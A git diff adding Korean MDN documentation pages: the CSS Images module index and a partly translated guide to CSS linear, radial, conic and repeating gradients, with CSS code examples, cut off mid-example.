+<p><strong>CSS Images</strong>는 사용할 수 있는 이미지의 유형({{cssxref("&lt;image&gt;")}} 자료형, 포함하는 URL, 그레이디언트 및 그 외의 다른 유형 이미지), 이미지의 크기 조정 방법, 그리고 이미지 및 다른 대체 콘텐츠가 각기 다른 레이아웃 모델과 상호작용하는 법을 정의하는 CSS 모듈입니다.</p>
+
+<h2 id="참고서">참고서</h2>
+
+<h3 id="속성">속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{CSSxRef("image-orientation")}}</li>
+ <li>{{CSSxRef("image-rendering")}}</li>
+ <li>{{CSSxRef("image-resolution")}}</li>
+ <li>{{CSSxRef("object-fit")}}</li>
+ <li>{{CSSxRef("object-position")}}</li>
+</ul>
+</div>
+
+<h3 id="함수">함수</h3>
+
+<div class="index">
+<ul>
+ <li>{{CSSxRef("linear-gradient", "linear-gradient()")}}</li>
+ <li>{{CSSxRef("radial-gradient", "radial-gradient()")}}</li>
+ <li>{{CSSxRef("repeating-linear-gradient", "repeating-linear-gradient()")}}</li>
+ <li>{{CSSxRef("repeating-radial-gradient", "repeating-radial-gradient()")}}</li>
+ <li>{{CSSxRef("conic-gradient")}}</li>
+ <li>{{CSSxRef("repeating-conic-gradient", "repeating-conic-gradient()")}}</li>
+ <li>{{CSSxRef("url", "url()")}}</li>
+ <li>{{CSSxRef("element", "element()")}}</li>
+ <li>{{CSSxRef("_image", "image()")}}</li>
+ <li>{{CSSxRef("cross-fade", "cross-fade()")}}</li>
+</ul>
+</div>
+
+<h3 id="자료형">자료형</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("&lt;image&gt;")}}</li>
+ <li>{{cssxref("&lt;uri&gt;")}}</li>
+</ul>
+</div>
+
+<h2 id="안내서">안내서</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/CSS/CSS_Images/Using_CSS_gradients">CSS 그레이디언트 사용하기</a></dt>
+ <dd>CSS 이미지의 특정 유형인 "그레이디언트"를 소개하고, 그 사용법을 보입니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS/CSS_Images/Implementing_image_sprites_in_CSS">CSS에서 이미지 스프라이트 구현하기</a></dt>
+ <dd>다수의 이미지를 하나의 문서로 합쳐서 다운로드 요청을 절약하고 페이지 속도를 향상하는 방법을 소개합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS4 Images')}}</td>
+ <td>{{Spec2('CSS4 Images')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Images')}}</td>
+ <td>{{Spec2('CSS3 Images')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Compat', '#css-%3Cimage%3E-type', 'CSS Gradients')}}</td>
+ <td>{{Spec2('Compat')}}</td>
+ <td><code>-webkit</code> 접두어 달린 그러데이션 값 함수 표준화</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Values', '#urls', '&lt;url&gt;')}}</td>
+ <td>{{Spec2('CSS3 Values')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{Specname('CSS2.1', 'syndata.html#uri', '&lt;uri&gt;')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1', '#url', '&lt;url&gt;')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>초기 정의</td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/css/css_images/using_css_gradients/index.html b/files/ko/web/css/css_images/using_css_gradients/index.html
new file mode 100644
index 0000000000..061ef36536
--- /dev/null
+++ b/files/ko/web/css/css_images/using_css_gradients/index.html
@@ -0,0 +1,750 @@
+---
+title: CSS 그레이디언트 사용하기
+slug: Web/CSS/CSS_Images/Using_CSS_gradients
+tags:
+ - Advanced
+ - CSS
+ - CSS Images
+ - Example
+ - Gradients
+ - Guide
+ - Web
+translation_of: Web/CSS/CSS_Images/Using_CSS_gradients
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS 그레이디언트</strong>는 {{cssxref("&lt;image&gt;")}} 자료형의 특별한 종류인 {{cssxref("&lt;gradient&gt;")}}로 나타내며 두 개 이상의 색 간의 점진적 전환을 표현합니다. 그레이디언트에는 선형({{cssxref("linear-gradient")}} 함수), 방사형({{cssxref("radial-gradient")}} 함수), 각진 원형({{cssxref("conic-gradient")}} 함수) 세 종류가 있으며, 각각의 변형본으로 계속해서 반복하는 {{cssxref("repeating-linear-gradient")}}, {{cssxref("repeating-radial-gradient")}}, {{cssxref("repeating-conic-gradient")}} 함수도 있습니다.</p>
+
+<p>그레이디언트는 배경처럼 <code>&lt;image&gt;</code>를 사용하는 곳에는 어디에나 적용할 수 있습니다. 그레이디언트는 동적으로 생성하므로, 비슷한 효과를 보기 위해 래스터 이미지를 사용하는 방식을 사용하지 않아도 됩니다. 또한 브라우저가 직접 생성하므로 확대했을 때 래스터 이미지보다 좋은 품질을 보이며 크기 조절도 즉시 가능합니다.</p>
+
+<p>우선 선형 그레이디언트의 소개로 시작하여, 모든 유형의 그레이디언트에서 통용되는 기능을 선형으로 설명하고, 그 후에 방사형과 각진 원형, 마지막으로 반복 그레이디언트에 대해 알아보겠습니다.</p>
+
+<h2 id="선형_그레이디언트_사용하기">선형 그레이디언트 사용하기</h2>
+
+<p>선형 그레이디언트는 직선으로 진행하는 색상 무늬를 생성합니다.</p>
+
+<div>
+<h3 id="기본_선형_그레이디언트">기본 선형 그레이디언트</h3>
+
+<p>가장 기본적인 그레이디언트 종류를 생성하기 위해서는 두 가지의 색만 지정하면 됩니다. 각각의 색을 "색상 정지점"이라고 부릅니다. 최소 두 가지가 필요하지만, 제한 없이 원하는 만큼 추가할 수 있습니다.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate" dir="rtl">&lt;div class="simple-linear"&gt;&lt;/div&gt;</pre>
+
+<pre class="brush: css notranslate">div {
+ width: 120px;
+ height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.simple-linear {
+ background: linear-gradient(blue, pink);
+}</pre>
+
+<p>{{ EmbedLiveSample('기본_선형_그레이디언트', 120, 120) }}</p>
+</div>
+
+<div>
+<h3 id="방향_전환">방향 전환</h3>
+
+<p>기본적으로, 선형 그레이디언트는 위에서 아래로 진행합니다. 그러나 방향을 지정함으로써 그레이디언트를 회전할 수 있습니다.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="horizontal-gradient"&gt;&lt;/div&gt;</pre>
+
+<pre class="brush: css notranslate">div {
+ width: 120px;
+ height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.horizontal-gradient {
+ background: linear-gradient(to right, blue, pink);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('방향_전환', 120, 120) }}</p>
+</div>
+
+<div>
+<h3 id="대각선_그레이디언트">대각선 그레이디언트</h3>
+
+<p>그레이디언트가 한쪽 모서리에서 다른 쪽 모서리를 잇는 대각선 방향으로 진행하도록 할 수도 있습니다.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="diagonal-gradient"&gt;&lt;/div&gt;</pre>
+
+<pre class="brush: css notranslate">div {
+ width: 200px;
+ height: 100px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.diagonal-gradient {
+ background: linear-gradient(to bottom right, blue, pink);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('대각선_그레이디언트', 200, 100) }}</p>
+</div>
+
+<div>
+<h3 id="각도_사용">각도 사용</h3>
+
+<p>더 정밀하게 방향을 지정하고 싶다면 특정 각도를 지정할 수 있습니다.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="angled-gradient"&gt;&lt;/div&gt;</pre>
+
+<pre class="brush: css notranslate">div {
+ width: 120px;
+ height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.angled-gradient {
+ background: linear-gradient(70deg, blue, pink);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('각도_사용', 120, 120) }}</p>
+
+<p>각도를 사용할 때 <code>0deg</code> 는 아래쪽에서 위쪽으로 진행하는 선형 그레이디언트를, <code>90deg</code> 는 왼쪽에서 오른쪽으로, 등등 시계 방향으로 회전합니다. 음의 각도는 시계 반대 방향으로 회전합니다.</p>
+
+<p><img alt="linear_redangles.png" class="default internal" src="/files/3811/linear_red_angles.png"></p>
+</div>
+
+<h2 id="색상_선언_효과_생성">색상 선언 &amp; 효과 생성</h2>
+
+<p>All<span class="js-about-item-abstr"> CSS gradient types are a range of position-dependent colors. The colors produced by CSS gradients can vary continuously with position, producing smooth color transitions. It is also possible to create bands of solid colors, and hard transitions between two colors. The following are valid for all gradient functions:</span></p>
+
+<div>
+<h3 id="두_개보다_많은_색_사용하기">두 개보다 많은 색 사용하기</h3>
+
+<p>You don't have to limit yourself to two colors—you may use as many as you like! By default, colors are evenly spaced along the gradient.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="auto-spaced-linear-gradient"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">div {
+ width: 120px;
+ height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.auto-spaced-linear-gradient {
+ background: linear-gradient(red, yellow, blue, orange);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('두_개보다_많은_색_사용하기', 120, 120) }}</p>
+</div>
+
+<div>
+<h3 id="Positioning_color_stops">Positioning color stops</h3>
+
+<p>You don't have to leave your color stops at their default positions. To fine-tune their locations, you can give each one zero, one, or two percentage or, for radial and linear gradients, absolute length values. If you specify the location as a percentage, <code>0%</code> represents the starting point, while <code>100%</code> represents the ending point; however, you can use values outside that range if necessary to get the effect you want. If you leave a location unspecified, the position of that particular color stop will be automatically calculated for you, with the first color stop being at <code>0%</code> and the last color stop being at <code>100%</code>, and any other color stops being half way between their adjacent color stops.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="multicolor-linear"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">div {
+ width: 120px;
+ height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.multicolor-linear {
+ background: linear-gradient(to left, lime 28px, red 77%, cyan);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Positioning_color_stops', 120, 120) }}</p>
+</div>
+
+<div>
+<h3 id="Creating_hard_lines">Creating hard lines</h3>
+
+<p>To create a hard line between two colors, creating a stripe instead of a gradual transition, adjacent color stops can be set to the same location. In this example, the colors share a color stop at the <code>50%</code> mark, halfway through the gradient:</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="striped"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">div {
+ width: 120px;
+ height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.striped {
+ background: linear-gradient(to bottom left, cyan 50%, palegoldenrod 50%);
+}</pre>
+
+<p>{{ EmbedLiveSample('Creating_hard_lines', 120, 120) }}</p>
+</div>
+
+<div>
+<h3 id="Gradient_hints">Gradient hints</h3>
+
+<p>By default, the gradient transitions evenly from one color to the next. You can include a color-hint to move the midpoint of the transition value to a certain point along the gradient. In this example, we've moved the midpoint of the transition from the 50% mark to the 10% mark.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate" dir="rtl">&lt;div class="color-hint"&gt;&lt;/div&gt;
+&lt;div class="simple-linear"&gt;&lt;/div&gt;</pre>
+
+<pre class="brush: css notranslate">div {
+ width: 120px;
+ height: 120px; float: left; margin-right: 10px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.color-hint {
+ background: linear-gradient(blue, 10%, pink);
+}
+.simple-linear {
+ background: linear-gradient(blue, pink);
+}</pre>
+
+<p>{{ EmbedLiveSample('Gradient_hints', 120, 120) }}</p>
+</div>
+
+<div>
+<h3 id="Creating_color_bands_stripes">Creating color bands &amp; stripes</h3>
+
+<p>To include a solid, non-transitioning color area within a gradient, include two positions for the color stop. Color stops can have two positions, which is equivalent to two consecutive color stops with the same color at different positions. The color will reach full saturation at the first color stop, maintain that saturation through to the second color stop, and transition to the adjacent color stop's color through the adjacent color stop's first position.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="multiposition-stops"&gt;&lt;/div&gt;
+&lt;div class="multiposition-stop2"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">div {
+ width: 120px;
+ height: 120px;
+ float: left; margin-right: 10px; box-sizing: border-box;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.multiposition-stops {
+ background: linear-gradient(to left,
+ lime 20%, red 30%, red 45%, cyan 55%, cyan 70%, yellow 80% );
+ background: linear-gradient(to left,
+ lime 20%, red 30% 45%, cyan 55% 70%, yellow 80% );
+}
+.multiposition-stop2 {
+ background: linear-gradient(to left,
+ lime 25%, red 25%, red 50%, cyan 50%, cyan 75%, yellow 75% );
+ background: linear-gradient(to left,
+ lime 25%, red 25% 50%, cyan 50% 75%, yellow 75% );
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Creating_color_bands_stripes', 120, 120) }}</p>
+
+<p>In the first example above, the lime goes from the 0% mark, which is implied, to the 20% mark, transitions from lime to red over the next 10% of the width of the gradient, reach solid red at the 30% mark, and staying solid red up until 45% through the gradient, where it fades to cyan, being fully cyan for 15% of the gradient, and so on.</p>
+
+<p>In the second example, the second color stop for each color is at the same location as the first color stop for the adjacent color, creating a striped effect.</p>
+
+<p>In both examples, the gradient is written twice: the first is the CSS Images Level 3 method of repeating the color for each stop and the second example is the CSS Images Level 4 multiple color stop method of including two color-stop-lengths in a linear-color-stop declaration.</p>
+</div>
+
+<div>
+<h3 id="Controlling_the_progression_of_a_gradient">Controlling the progression of a gradient</h3>
+
+<p>By default, a gradient evenly progresses between the colors of two adjacent color stops, with the midpoint between those two color stops being the midpoint color value. You can control the interpolation, or progression, between two color stops by including a color hint location. In this example, the color reaches the midpoint between lime and cyan 20% of the way through the gradient rather than 50% of the way through. The second example does not contain the hint to hilight the difference the color hint can make:</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="colorhint-gradient"&gt;&lt;/div&gt; &lt;div class="regular-progression"&gt;&lt;/div&gt;
+
+</pre>
+
+<pre class="brush: css notranslate">div {
+ width: 120px;
+ height: 120px;
+ float: left; margin-right: 10px; box-sizing: border-box;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.colorhint-gradient {
+ background: linear-gradient(to top, black, 20%, cyan);
+}
+.regular-progression {
+ background: linear-gradient(to top, black, cyan);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Controlling_the_progression_of_a_gradient', 120, 120) }}</p>
+</div>
+
+<h3 id="Overlaying_gradients">Overlaying gradients</h3>
+
+<p>Gradients support transparency, so you can stack multiple backgrounds to achieve some pretty fancy effects. The backgrounds are stacked from top to bottom, with the first specified being on top.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="layered-image"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">div {
+ width: 300px;
+ height: 150px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.layered-image {
+ background: linear-gradient(to right, transparent, mistyrose),
+ url("https://mdn.mozillademos.org/files/15525/critters.png");
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Overlaying_gradients', 300, 150) }}</p>
+
+<h3 id="Stacked_gradients">Stacked gradients</h3>
+
+<p>You can even stack gradients with other gradients. As long as the top gradients aren't entirely opaque, the gradients below will still be visible.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="stacked-linear"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">div {
+ width: 200px;
+ height: 200px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.stacked-linear {
+ background:
+ linear-gradient(217deg, rgba(255,0,0,.8), rgba(255,0,0,0) 70.71%),
+ linear-gradient(127deg, rgba(0,255,0,.8), rgba(0,255,0,0) 70.71%),
+ linear-gradient(336deg, rgba(0,0,255,.8), rgba(0,0,255,0) 70.71%);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Stacked_gradients', 200, 200) }}</p>
+
+<h2 id="Using_radial_gradients">Using radial gradients</h2>
+
+<p>Radial gradients are similar to linear gradients, except that they radiate out from a central point. You can dictate where that central point is. You can also make them circular or elliptical.</p>
+
+<h3 id="A_basic_radial_gradient">A basic radial gradient</h3>
+
+<p>As with linear gradients, all you need to create a radial gradient are two colors. By default, the center of the gradient is at the 50% 50% mark, and the gradient is elliptical matching the aspect ratio of it's box:</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="simple-radial"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">div {
+ width: 240px;
+ height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.simple-radial {
+ background: radial-gradient(red, blue);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('A_basic_radial_gradient', 120, 120) }}</p>
+
+<h3 id="Positioning_radial_color_stops">Positioning radial color stops</h3>
+
+<p>Again like linear gradients, you can position each radial color stop with a percentage or absolute length.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="radial-gradient"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">div {
+ width: 120px;
+ height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.radial-gradient {
+ background: radial-gradient(red 10px, yellow 30%, #1e90ff 50%);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Positioning_radial_color_stops', 120, 120) }}</p>
+
+<h3 id="Positioning_the_center_of_the_gradient">Positioning the center of the gradient</h3>
+
+<p>You can position the center of the gradient with keyterms, percentage, or absolute lengths, length and percentage values repeating if only one is present, otherwise in the order of position from the left and position from the top.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="radial-gradient"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">div {
+ width: 120px;
+ height: 240px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.radial-gradient {
+ background: radial-gradient(at 0% 30%, red 10px, yellow 30%, #1e90ff 50%);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Positioning_the_center_of_the_gradient', 120, 120) }}</p>
+
+<h3 id="Sizing_radial_gradients">Sizing radial gradients</h3>
+
+<p>Unlike linear gradients, you can specify the size of radial gradients. Possible values include closest-corner, closest-side, farthest-corner, and farthest-side, with farthest-corner being the default.</p>
+
+<h4 id="Example_closest-side_for_ellipses">Example: closest-side for ellipses</h4>
+
+<p>This example uses the <code>closest-side</code> size value, which means the size is set by the distance from the starting point (the center) to the closest side of the enclosing box.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="radial-ellipse-side"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">div {
+ width: 240px;
+ height: 100px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.radial-ellipse-side {
+ background: radial-gradient(ellipse closest-side,
+ red, yellow 10%, #1e90ff 50%, beige);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Example_closest-side_for_ellipses', 240, 100) }}</p>
+
+<h4 id="Example_farthest-corner_for_ellipses">Example: farthest-corner for ellipses</h4>
+
+<p>This example is similar to the previous one, except that its size is specified as <code>farthest-corner</code>, which sets the size of the gradient by the distance from the starting point to the farthest corner of the enclosing box from the starting point.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="radial-ellipse-far"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">div {
+ width: 240px;
+ height: 100px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.radial-ellipse-far {
+ background: radial-gradient(ellipse farthest-corner at 90% 90%,
+ red, yellow 10%, #1e90ff 50%, beige);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Example_farthest-corner_for_ellipses', 240, 100) }}</p>
+
+<h4 id="Example_closest-side_for_circles">Example: closest-side for circles</h4>
+
+<p>This example uses <code>closest-side</code>, which makes the circle's size to be the distance between the starting point (the center) and the closest side. The circle's radius is the distance between the center of the gradient and the closest edge, which due to the positioning of the 25% from the top and 25% from the bottom, is closest to the bottom, since the height in this case is narrower than the width.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="radial-circle-close"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">div {
+ width: 240px;
+ height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.radial-circle-close {
+ background: radial-gradient(circle closest-side at 25% 75%,
+ red, yellow 10%, #1e90ff 50%, beige);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Example_closest-side_for_circles', 240, 120) }}</p>
+
+<h3 id="Stacked_radial_gradients">Stacked radial gradients</h3>
+
+<p>Just like linear gradients, you can also stack radial gradients. The first specified is on top, the last on the bottom.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="stacked-radial"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">div {
+ width: 200px;
+ height: 200px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.stacked-radial {
+ background:
+ radial-gradient(circle at 50% 0,
+ rgba(255,0,0,.5),
+ rgba(255,0,0,0) 70.71%),
+ radial-gradient(circle at 6.7% 75%,
+ rgba(0,0,255,.5),
+ rgba(0,0,255,0) 70.71%),
+ radial-gradient(circle at 93.3% 75%,
+ rgba(0,255,0,.5),
+ rgba(0,255,0,0) 70.71%) beige;
+ border-radius: 50%;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Stacked_radial_gradients', 200, 200) }}</p>
+
+<h2 id="Using_conic_gradients">Using conic gradients</h2>
+
+<p>The <strong><code>conic-gradient()</code></strong> <a href="/en-US/docs/Web/CSS">CSS</a> function creates an image consisting of a gradient with color transitions rotated around a center point (rather than radiating from the center). Example conic gradients include pie charts and color wheels, but they can also be used for creating checker boards and other intersting effects.</p>
+
+<p>The conic-gradient syntax is similar to the radial-gradient syntax, but the color-stops are placed around a gradient arc, the circumference of a circle, rather than on the gradient line emerging from the center of the gradient, and the color-stops are percentages or degrees: absolute lengths are not valid.</p>
+
+<p>In a radial gradient, the colors transition from the center of an ellipse, outward, in all directions. With conic gradients, the colors transition as as if spun around the center of a circle, starting at the top and going clockwise. Similar to radial gradients, you can position the center of the gradient. Similar to linear gradients, you can change the gradient angle.</p>
+
+<div>
+<h3 id="A_basic_conic_gradient">A basic conic gradient</h3>
+
+<p>As with linear and radial gradients, all you need to create a conic gradient are two colors. By default, the center of the gradient is at the 50% 50% mark, with the start of the gradient facing up:</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="simple-conic"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">div {
+ width: 120px;
+ height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.simple-conic {
+ background: conic-gradient(red, blue);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('A_basic_conic_gradient', 120, 120) }}</p>
+</div>
+
+<div>
+<h3 id="Positioning_the_conic_center">Positioning the conic center</h3>
+
+<p>Like radial gradients, you can position the center of the conic gradient with keyterms, percentage, or absolute lengths, with the keyword "at"</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="conic-gradient"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">div {
+ width: 120px;
+ height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.conic-gradient {
+ background: conic-gradient(at 0% 30%, red 10%, yellow 30%, #1e90ff 50%);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Positioning_the_conic_center', 120, 120) }}</p>
+</div>
+
+<div>
+<h3 id="Changing_the_angle">Changing the angle</h3>
+
+<p>Like radial gradients, you can position the center of the conic gradient with keyterms, percentage, or absolute lengths, with the keyword "at"</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="conic-gradient"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">div {
+ width: 120px;
+ height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.conic-gradient {
+ background: conic-gradient(from 45deg, red, orange, yellow, green, blue, purple);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Changing_the_angle', 120, 120) }}</p>
+</div>
+
+<h2 id="Using_repeating_gradients">Using repeating gradients</h2>
+
+<p>The {{cssxref("linear-gradient")}}, {{cssxref("radial-gradient")}}, and {{cssxref("conic-gradient")}} functions don't support automatically repeated color stops. However, the {{cssxref("repeating-linear-gradient")}}, {{cssxref("repeating-radial-gradient")}}, and {{cssxref("repeating-conic-gradient")}} functions are available to offer this functionality.</p>
+
+<p>The size of the gradient line or arc that repeats is the length between the first color stop value and the last color stop length value. If the first color stop just has a color and no color stop length, the value defaults to 0. If the last color stop has just a color and no color stop length, the value defaults to 100%. If neither is declared, the gradient line is 100% meaning the linear and conic gradients will not repeat and the radial gradient will only repeat if the radius of the gradient is smaller than the length between the center of the gradient and the farthest corner. If the first color stop is declared, and the value is greater than 0, the gradient will repeat, as the size of the line or arc is the difference between the first color stop and last color stop is less than 100% or 360 degrees.</p>
+
+<div>
+<h3 id="Repeating_linear_gradients">Repeating linear gradients</h3>
+
+<p>This example uses {{cssxref("repeating-linear-gradient")}} to create a gradient that progresses repeatedly in a straight line. The colors get cycled over again as the gradient repeats. In this case the gradient line is 10px long.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="repeating-linear"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">div {
+ width: 120px;
+ height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.repeating-linear {
+ background: repeating-linear-gradient(-45deg, red, red 5px, blue 5px, blue 10px);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Repeating_linear_gradients', 120, 120) }}</p>
+</div>
+
+<div>
+<h3 id="Multiple_repeating_linear_gradients">Multiple repeating linear gradients</h3>
+
+<p>Similar to regular linear and radial gradients, you can include multiple gradients, one on top of the other. This only makes sense if the gradients are partially transparent allowing subsequent gradients to show through the transparent areas, or if you include different <a href="/en-US/docs/Web/CSS/background-size">background-sizes</a>, optionally with different <a href="/en-US/docs/Web/CSS/background-position">background-position</a> property values, for each gradient image. We are using transparency.</p>
+
+<p>In this case the gradient lines are 300px, 230px, and 300px long.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="multi-repeating-linear"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">div {
+ width: 600px;
+ height: 400px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.multi-repeating-linear {
+ background:
+ repeating-linear-gradient(190deg, rgba(255, 0, 0, 0.5) 40px,
+ rgba(255, 153, 0, 0.5) 80px, rgba(255, 255, 0, 0.5) 120px,
+ rgba(0, 255, 0, 0.5) 160px, rgba(0, 0, 255, 0.5) 200px,
+ rgba(75, 0, 130, 0.5) 240px, rgba(238, 130, 238, 0.5) 280px,
+ rgba(255, 0, 0, 0.5) 300px),
+ repeating-linear-gradient(-190deg, rgba(255, 0, 0, 0.5) 30px,
+ rgba(255, 153, 0, 0.5) 60px, rgba(255, 255, 0, 0.5) 90px,
+ rgba(0, 255, 0, 0.5) 120px, rgba(0, 0, 255, 0.5) 150px,
+ rgba(75, 0, 130, 0.5) 180px, rgba(238, 130, 238, 0.5) 210px,
+ rgba(255, 0, 0, 0.5) 230px),
+ repeating-linear-gradient(23deg, red 50px, orange 100px,
+ yellow 150px, green 200px, blue 250px,
+ indigo 300px, violet 350px, red 370px);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Multiple_repeating_linear_gradients', 600, 400) }}</p>
+</div>
+
+<h3 id="Plaid_gradient">Plaid gradient</h3>
+
+<p>To create plaid we include several overlapping gradients with transparency. In the first background declaration we listed every color stop separately. The second background property declaration using the multiple position color stop syntax:</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="plaid-gradient"&gt;&lt;/div&gt;</pre>
+
+<pre class="brush: css notranslate">div {
+ width: 200px;
+ height: 200px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.plaid-gradient {
+ background:
+ repeating-linear-gradient(90deg, transparent, transparent 50px,
+ rgba(255, 127, 0, 0.25) 50px, rgba(255, 127, 0, 0.25) 56px,
+ transparent 56px, transparent 63px,
+ rgba(255, 127, 0, 0.25) 63px, rgba(255, 127, 0, 0.25) 69px,
+ transparent 69px, transparent 116px,
+ rgba(255, 206, 0, 0.25) 116px, rgba(255, 206, 0, 0.25) 166px),
+ repeating-linear-gradient(0deg, transparent, transparent 50px,
+ rgba(255, 127, 0, 0.25) 50px, rgba(255, 127, 0, 0.25) 56px,
+ transparent 56px, transparent 63px,
+ rgba(255, 127, 0, 0.25) 63px, rgba(255, 127, 0, 0.25) 69px,
+ transparent 69px, transparent 116px,
+ rgba(255, 206, 0, 0.25) 116px, rgba(255, 206, 0, 0.25) 166px),
+ repeating-linear-gradient(-45deg, transparent, transparent 5px,
+ rgba(143, 77, 63, 0.25) 5px, rgba(143, 77, 63, 0.25) 10px),
+ repeating-linear-gradient(45deg, transparent, transparent 5px,
+ rgba(143, 77, 63, 0.25) 5px, rgba(143, 77, 63, 0.25) 10px);
+
+ background:
+ repeating-linear-gradient(90deg, transparent 0 50px,
+ rgba(255, 127, 0, 0.25) 50px 56px,
+ transparent 56px 63px,
+ rgba(255, 127, 0, 0.25) 63px 69px,
